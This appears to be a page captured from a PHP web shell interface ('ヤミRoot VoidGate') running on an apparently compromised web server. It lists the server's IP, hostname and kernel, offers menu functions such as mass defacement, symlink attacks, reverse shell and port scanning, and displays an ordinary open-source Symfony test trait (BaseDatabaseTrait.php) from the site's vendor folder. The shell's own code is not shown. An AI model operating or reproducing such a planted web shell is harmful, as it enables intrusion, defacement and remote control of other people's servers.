ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
hautelook
/
alice-bundle
/
src
/
PhpUnit
/
Viewing: BaseDatabaseTrait.php
<?php /* * This file is part of the Hautelook\AliceBundle package. * * (c) Baldur Rensch <brensch@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace Hautelook\AliceBundle\PhpUnit; use LogicException; use Symfony\Bundle\FrameworkBundle\Console\Application; use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase; trait BaseDatabaseTrait { /** * @var string|null The name of the Doctrine manager to use */ protected static $manager; /** * @var string[] The list of bundles where to look for fixtures */ protected static $bundles = []; /** * @var bool Append fixtures instead of purging */ protected static $append = false; /** * @var bool Use TRUNCATE to purge */ protected static $purgeWithTruncate = true; /** * @var string|null The name of the Doctrine shard to use */ protected static $shard; /** * @var string|null The name of the Doctrine connection to use */ protected static $connection; /** * @var array|null Contain loaded fixture from alice */ protected static $fixtures; protected static function ensureKernelTestCase(): void { if (!is_a(static::class, KernelTestCase::class, true)) { throw new LogicException(sprintf('The test class must extend "%s" to use "%s".', KernelTestCase::class, static::class)); } } protected static function populateDatabase(): void { $container = static::$container ?? static::$kernel->getContainer(); static::$fixtures = $container->get('hautelook_alice.loader')->load( new Application(static::$kernel), // OK this is ugly... But there is no other way without redesigning LoaderInterface from the ground. $container->get('doctrine')->getManager(static::$manager), static::$bundles, static::$kernel->getEnvironment(), static::$append, static::$purgeWithTruncate, static::$shard ); } }
Coded With 💗 by
0x6ick